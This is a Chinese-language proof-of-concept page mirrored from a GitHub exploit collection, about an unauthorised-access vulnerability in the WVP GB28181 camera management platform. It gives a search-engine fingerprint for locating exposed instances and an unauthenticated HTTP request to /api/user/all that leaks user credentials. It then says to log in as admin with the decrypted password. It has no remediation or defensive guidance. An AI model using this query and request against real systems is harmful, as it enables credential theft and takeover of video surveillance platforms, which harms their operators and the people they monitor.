mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-08 20:05:25 +00:00
29 lines
1.9 KiB
Markdown
29 lines
1.9 KiB
Markdown
|
# GB28181摄像头管理平台WVP视频平台存在敏感信息泄露漏洞
|
|||
|
|
|
|||
|
|
# 一、产品简介
|
|||
|
|
GB28181是中国国家标准中关于IP视频监控设备的标准之一。它规定了视频监控设备之间的通信协议和数据格式，以便实现设备之间的互联互通。GB28181摄像头管理平台则是用于管理和监控这些符合GB28181标准的摄像头设备的软件平台，GB28181摄像头管理平台在安防领域具有广泛的应用，可以用于监控各种场所，如公共交通、城市道路、企业园区等，提高了监控系统的整体效率和管理水平。GB28181摄像头管理平台api接口处存在未授权漏洞,恶意攻击者可以通过此漏洞获取到登录信息，从而登录到后台，使服务器处于不安全的状态 
|
|||
|
|
|
|||
|
|
# <font style="color:rgb(0, 0, 0);">二、影响版本</font>
|
|||
|
|
WVP视频平台
|
|||
|
|
|
|||
|
|
# <font style="color:rgb(0, 0, 0);">三、资产测绘</font>
|
|||
|
|
```plain
|
|||
|
|
body="国标28181"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
## 四、漏洞复现
|
|||
|
|
```http
|
|||
|
|
GET /api/user/all HTTP/1.1
|
|||
|
|
Host: 127.0.0.1
|
|||
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
|
|||
|
|
Content-Length: 0
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
使用admin/解密后的密码登录系统 
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
> 更新: 2024-06-11 10:36:45
|
|||
|
|
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/gqt9d1wy8zy3r8oi>
|